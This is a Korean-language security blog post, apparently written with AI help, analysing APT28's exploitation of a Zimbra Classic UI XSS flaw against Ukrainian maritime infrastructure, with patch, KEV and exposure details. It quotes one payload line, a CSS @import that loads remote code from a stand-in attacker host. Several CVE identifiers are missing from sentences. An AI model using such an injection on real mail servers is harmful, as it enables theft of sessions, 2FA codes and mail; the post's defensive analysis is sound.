COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2026년 1월 우크라이나 해상 인프라가 Zimbra Classic UI XSS(CVE-2025-48700)에 당했다. APT28의 Operation GhostMail 캠페인은 이메일 한 번 열람으로 90일치 메일과 세션 토큰을 훔쳤다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2026년 1월 22일, 우크라이나의 해상·수로 인프라를 담당하는 한 국가 기반시설 기관의 직원이 업무용 메일함에서 이메일 한 통을 열었다. 겉보기엔 평범한 메시지였다. 첨부파일도, 의심스러운 링크도 없었다. 그러나 이메일이 Zimbra Classic UI에 렌더링되는 그 순간, 본문 HTML 안에 숨겨둔 JavaScript가 브라우저 세션 안에서 조용히 실행됐다. 공격자는 그 한 번의 열람으로 지난 90일치 메일, 세션 토큰, 저장된 비밀번호, 백업용 2FA 코드까지 긁어 갔다.
이 공격을 벌인 건 러시아 연계 APT28이었다. Seqrite Labs가 'Operation GhostMail'이라는 이름으로 공개한 이 캠페인은, 2025년 6월에 조용히 패치된 Zimbra 이메일 XSS 취약점 한 쌍을 무기로 삼았다.
그중 하나인 은 2026년 4월 20일 CISA(미국 사이버보안·인프라보안국)의 '실제 악용 취약점' 목록(KEV)에 올랐다. 그로부터 나흘 뒤, Shadowserver Foundation은 전 세계에 미패치된 Zimbra 서버가 1만 500대 이상 노출돼 있다고 경고했다.
Zimbra Collaboration Suite(ZCS)는 Google Workspace와 Microsoft 365의 온프레미스 대안이다. 정부·대학·중견기업 이메일 서버로 세계 곳곳에 깔려 있고, 특히 데이터 주권 이슈가 강한 우크라이나·동유럽·동남아 공공 부문에서 점유율이 높다.
ZCS에는 두 개의 웹메일 인터페이스가 있다. 2010년대 초반부터 유지돼 온 'Classic UI', 그리고 2020년 이후 Synacor가 밀어붙이고 있는 'Modern UI'다. Modern UI는 React 기반으로 렌더링 파이프라인이 다르지만, 호환성과 사용자 관성 때문에 많은 조직이 여전히 Classic UI를 기본값으로 쓴다.
문제는 이 Classic UI의 HTML 렌더링 루틴이었다. 이메일 본문 안의 CSS 스타일 블록과 특수 태그 구조를 충분히 걸러내지 못했다. 공식 NVD 기록에 따르면 의 근본 원인은 "조작된 태그 구조와 속성 값을 포함한 HTML 콘텐츠의 불충분한 새니타이제이션"이었다.
공격자가 <style> 블록 안에 @import url("https://malicious.example/payload.css") 같은 지시문을 끼워 넣는다. 그러면 Classic UI의 렌더러는 해당 블록 내부를 불투명하게 처리한 채 외부 리소스를 그대로 로드했다.
CVSS 점수는 6.1(중간)로 책정됐다. 인증도 필요 없고(PR:N), 피해자가 이메일을 열기만 하면 된다(UI:R). ZCS 8.8.15·9.0·10.0·10.1까지 거의 모든 메이저 라인이 영향권이었다.
개발사 Synacor는 2025년 6월에 9.0.0 Patch 43, 8.8.15 Patch 47, 10.0.12, 10.1.4를 내놓으며 문제를 조용히 막았다. 보안 어드바이저리 페이지에는 "Classic UI의 조작된 HTML 콘텐츠를 통한 XSS 수정"이라는 짧은 문구만 남았고, 외부 언론의 큰 주목도 받지 못했다.
그러나 패치는 출시됐다고 끝나는 게 아니다. Zimbra 운영자 상당수는 온프레미스에서 직접 업데이트 절차를 돌려야 했고, 서비스 중단을 꺼린 꽤 많은 서버가 그 작업을 미룬 채 2026년까지 넘어왔다.
우크라이나 정부 사이버 대응팀(CERT-UA)은 이 캠페인의 주체를 UAC-0233으로 추적했다. 같은 조직을 SecurityWeek와 Seqrite Labs는 국제적으로 더 잘 알려진 이름인 APT28(Forest Blizzard, Fancy Bear, GruesomeLarch)로 연결 지었다. 러시아 군정보총국(GRU) 산하 조직으로 오랫동안 보고돼 온 그룹이다.
공격자는 하나만 쓰지 않았다. 형제 취약점인 CVE-2025-66376도 함께 악용했다. 이쪽은 @import 기반 저장형(stored) XSS로, 10.0과 10.1 라인에 영향을 주는 사실상 같은 계열 버그다. 두 CVE를 번갈아 쓰며 우크라이나 기관·정부·주요 인프라의 Zimbra 메일함을 노렸고, 2025년 9월부터 첫 공격 지표가 CERT-UA에 수집되기 시작했다.
실제 공격 한 건은 이렇게 흘러갔다. 피해자 메일함에 도착한 메시지는 HTML <style> 블록 안에 외부 리소스를 끌어오는 @import를 끼워 넣었고, 그 안쪽 시퀀스에서 원격 JavaScript를 로드했다. Zimbra Classic UI의 HTML 정제 루틴은 해당 CSS 블록 내부를 불투명하게 처리했고, 결과적으로 공격자가 원한 코드가 피해자의 인증된 웹메일 세션 맥락에서 실행됐다.
Seqrite Labs가 분석한 샘플은 꽤 욕심이 많았다. 브라우저 저장 비밀번호, 세션 쿠키와 토큰, 백업용 2FA 코드를 긁어 갔다. 여기에 해당 계정의 최근 90일치 메일 본문과 첨부까지 수집했다. 모든 과정은 피해자 화면에 아무 표시도 없이 조용히 이뤄졌다. 사용자 입장에서는 '이상한 서식의 메일 한 통을 열었다' 이상의 흔적이 남지 않았다. 공격자는 해상·수로 지원을 담당하는 이 국가 기반시설 기관의 내부 통신 석 달 치를 단 한 번의 메일 렌더링만으로 확보한 셈이다.
SecurityWeek는 Seqrite 보고서를 인용해 스크립트가 탈취된 데이터를 공격자 통제하의 원격 서버로 실시간 전송했다고 전했다. 통상적인 파일 기반 악성코드와 달리 디스크에 바이너리가 떨어지지 않기 때문에, 엔드포인트 보호 솔루션 로그에는 아무런 이벤트가 남지 않는 것이 특징이다.
침투 이후 APT28이 보인 행동 패턴은 과거 캠페인과 이어진다. 이 그룹은 수년간 나토·우크라이나 정부·동유럽 언론을 반복해서 겨냥해 왔고, 초기 침투 수단은 피싱·스피어피싱·웹메일 악용으로 집중돼 있다. 메일함 탈취에 성공하면 내부 조직도와 협력사 연락처가 먼저 추출된다. 그다음 같은 인프라 생태계 안의 다른 기관을 향해 횡적 피싱을 확장하는 것이 이들의 전형적 패턴이다. Operation GhostMail이 해상 인프라 한 곳에서 멈출 거라고 보는 분석가는 거의 없다.
CISA는 2026년 4월 20일 을 KEV에 등재하면서, 미국 연방 행정기관에 4월 23일까지(사흘 안에) 패치 또는 완화 조치를 끝내라고 지시했다. KEV는 "이미 공격에 쓰이고 있다"는 사실이 확인돼야만 오르는 목록이다. CISA의 이 조치는 미국 정부도 동일 계열 공격의 잠재 표적이라는 판단이 선 것으로 해석된다.
그러나 진짜 문제는 연방 바깥이다. Shadowserver Foundation이 2026년 4월 24일 공개한 노출 통계는 다음과 같다.
| 지역 | 미패치 Zimbra 서버 |
|---|---|
| 아시아 | 3,794대 |
| 유럽 | 3,793대 |
| 기타 지역 | 약 2,900대 |
전 세계 합계 약 1만 500대. 이메일 하나만 보내면 세션 전체가 넘어가는 버그를 안고 9개월째 버티는 서버들이다.
공격자가 APT28 한 조직에 그치는 것도 아니다. Zimbra는 역사적으로 2022년 (인증 우회 RCE), 2023년 (Classic UI XSS), 2024년 (postjournal 명령어 주입) 등 비슷한 라인에서 반복적으로 뚫렸다. 그때마다 국가 지원 행위자들이 가장 먼저 움직였다. Volexity는 악용 당시 전 세계 1,000개 이상의 조직이 백도어에 감염됐다고 보고한 바 있다.
한편 KISA·KrCERT 공식 채널은 4월 24일 기준 에 대한 국내 전용 주의보를 내지 않았다. 그러나 국내에도 ZCS를 운영하는 기관·대학·기업이 존재하는 만큼, 조용한 2025년 6월 패치를 그대로 지나쳤다면 이 9개월간 누군가의 열람만 기다린 상태였다는 뜻이 된다.
특히 눈에 띄는 점은 Shadowserver의 전 세계 지도에서 아시아 지역이 유럽과 거의 동률(3,794대 대 3,793대)로 집계됐다는 사실이다. 우크라이나 한 곳에 맞춤 설계된 캠페인이 아니라, 세계 어디든 ZCS Classic UI를 돌리는 조직이면 동일한 위험 구간에 들어가 있다는 의미다. 이 6월 패치 이후 9개월 동안 거의 감춰진 채 지나간 배경이, 역설적으로 공격자 쪽에 더 오랜 시간의 이점을 주었던 셈이다.
은 CVSS 6.1짜리, 등급상 '중간' 취약점이다. 흔히 RCE나 권한 상승이 아닌 XSS는 상대적으로 과소평가된다. 그러나 Operation GhostMail이 보여준 건 웹메일 세션 XSS 한 건이 어떻게 '임의 코드 실행과 실질적으로 동급'이 될 수 있는지였다.
첫째, 피해자 상호작용이 사실상 없다. 메일을 여는 건 직장인의 기본 동작이고, 공격자는 그 한 번만 기다리면 된다.
둘째, 훔치는 대상이 세션 토큰과 2FA 백업 코드다. 비밀번호를 바꾸지 않은 채 그저 패치만 적용해도 이미 탈취된 인증 아티팩트는 여전히 유효하다.
셋째, 타깃이 우크라이나 해상 인프라였다는 사실은 이 버그가 단순 경제 범죄가 아닌 지정학적 정보 수집에 쓰였다는 증거다.
조금 더 큰 맥락에서 보면, Zimbra 사례는 '조용한 보안 패치'의 한계를 드러낸다. Synacor는 2025년 6월에 문제를 고쳤지만, 패치 노트에는 짧은 한 줄뿐이었다. 외부 언론의 독립 분석도 거의 없었다.
결국 "악용 중"이라는 사실을 CISA가 확인하기까지 10개월이 걸렸다. 그 공백 동안 운영자들은 이 버그의 심각도를 판단할 근거를 받지 못했고, 그 시간이 정확히 APT28이 움직인 창문이었다.
보안 팀 입장에서 진짜 교훈은 이것이다. "XSS는 웹 개발 이슈"라는 통념은 2026년 기준 더는 맞지 않는다. 특히 웹메일·협업 SaaS 계열 XSS는 세션 탈취와 메일 서사 전체 노출로 직결되므로, 조직 내부에서 RCE와 같은 수준의 긴급도를 부여받아야 한다.
국내 공공·금융 부문은 지난 수년간 SaaS 전환을 가속해 왔지만, 여전히 온프레미스 Zimbra를 운영하는 기관이 적지 않다. 당시 그리스·몰도바·튀니지·베트남·파키스탄 정부 부처가 피해 표적에 올랐다는 기록은, 한국 역시 같은 카테고리에 분류될 수 있음을 시사한다. 중요한 건 패치 자체가 아니라, 'CVSS 6.1이라는 숫자'를 보고 내부 티켓 우선순위를 낮추던 관행을 다시 돌아보는 일이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.
KW_PROTECT_0